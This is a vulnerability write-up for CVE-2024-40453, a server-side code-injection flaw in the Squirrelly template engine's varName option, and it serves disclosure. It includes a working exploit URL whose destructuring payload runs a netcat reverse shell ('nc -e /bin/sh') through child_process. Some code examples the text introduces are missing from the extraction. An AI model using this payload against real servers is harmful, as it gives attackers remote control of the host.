-->
This is a writeup for CVE-2024-40453.
When looking through the Squirrelly source code, OwOverflow pointed out this segment of code in
src/compile-string.ts
to me:
(env
is the options
parameter passed to the render
function)
After following the complete function call chain (render -> handleCache -> compile -> compileString
), I found that the
env.varName
parameter is indeed not sanitized. At first glance, this seems like an easy way to inject arbitrary JS and
get RCE server-side. In order to get this exploit to work, the attacker should set env.useWith
so that env.varName
is injected.
The with
expression is an almost-deprecated Javascript feature that allows you to execute a block of code, appending
an object to the global scope chain. This is demonstrated below:
However, what is important is that we can inject an arbitrary expression into the with
argument. This can easily allow
us to get RCE! A simple payload would be:
This should execute the console.log("x")
statement and give us RCE.
We can set up a simple server to test this out.
Visiting the following URL to execute our payload:
http://localhost:3000?useWith=1&varName=console.log("x")
However, if we try to do this, we get the following error:
Squirrelly Error: Bad template syntax
Arg string terminates parameters early
======================================
var tR='';tR+='asdf\n';if(cb){cb(null,tR)} return tR
at SqrlErr (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:138:15)
at compile (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:881:19)
at handleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1002:12)
at tryHandleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1035:13)
at View.renderFile [as engine] (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1064:12)
at View.render (/home/samuzora/test/node_modules/express/lib/view.js:135:8)
at tryRender (/home/samuzora/test/node_modules/express/lib/application.js:657:10)
at Function.render (/home/samuzora/test/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/samuzora/test/node_modules/express/lib/response.js:1048:7)
at /home/samuzora/test/index.js:9:7
What does this mean? Searching for the error message, we can see the error being raised at
src/compile.ts:44
:
The options.varName
parameter is being passed to the ctor
function (which is just a Function
constructor). The
Function
constructor takes in n+1
arguments, where the first n
arguments are parameters of the function to be
created, and the last argument is the function body. That’s what’s causing our error, since we’re passing
console.log("x")
into the parameter field. This means our injection occurs in the first parameter of the new function
being created, and should be a valid JS expression that can be passed in a parameter declaration. And our payload should
still execute as per normal in the with
expression.
Javascript allows for parameters to be destructured in the function definition like so:
This is done through object destructuring. It’s quite flexible and also allows for default values to be set:
This is the vector for our RCE. When setting the default value, the expression has to be evaluated, which we can use for RCE. Something like this should work:
However, there’s a small problem - our payload is also being injected in the with
expression, and this syntax is
invalid there since it’s not a valid object initializer.
Indeed, when we try this payload, it crashes as well:
Squirrelly Error: Bad template syntax
Invalid shorthand property initializer
======================================
var tR='';with({a=console.log("X")}||{}){tR+='asdf\n';if(cb){cb(null,tR)} return tR}
at SqrlErr (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:138:15)
at compile (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:881:19)
at handleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1002:12)
at tryHandleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1035:13)
at View.renderFile [as engine] (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1064:12)
at View.render (/home/samuzora/test/node_modules/express/lib/view.js:135:8)
at tryRender (/home/samuzora/test/node_modules/express/lib/application.js:657:10)
at Function.render (/home/samuzora/test/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/samuzora/test/node_modules/express/lib/response.js:1048:7)
at /home/samuzora/test/index.js:9:7
Luckily, according to the docs, the destructuring syntax is quite flexible and allows for a lot more kinds of syntax:
The most interesting syntax is this:
It takes the value corresponding to the a1
key in obj
, and assigns it to a
. If a1
is not defined then it
evaluates aDefault
With this syntax, we can satisfy the with
expression since it’s now a valid object initializer. It also satisfies the
Function
constructor since it’s simply assigning the value to a different name. So we can use this for RCE!
Let’s test out our payload with a reverse shell:
Payload: { a: b = global.process.mainModule.require("child_process").execSync("nc -e /bin/sh localhost 1337") }
http://localhost:3000?useWith=1&varName=%7B%20a:%20b%20=%20global.process.mainModule.require(%22child_process%22).execSync(%22nc%20-e%20/bin/sh%20localhost%201337%22)%20%7D
And we have RCE!
In the process of writing the report, I realized that there are easier payloads that can be used:
This payload is valid in both the with
expression and the Function
constructor.
With this payload, we can just bypass the with
expression entirely, and just inject the payload into the Function
constructor.
Note: When I first requested the CVE ID, I put my Gmail as the contact email, but didn’t receive any response. I’m
pretty sure that Gmail is blocking emails from mitre.org
which can’t be disabled, so I re-requested the CVE with
Outlook.
The vulnerability has been patched in v9.1.0.